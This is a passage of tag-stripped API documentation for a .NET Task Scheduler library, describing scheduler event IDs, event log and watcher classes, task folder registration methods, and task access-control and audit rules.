ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as 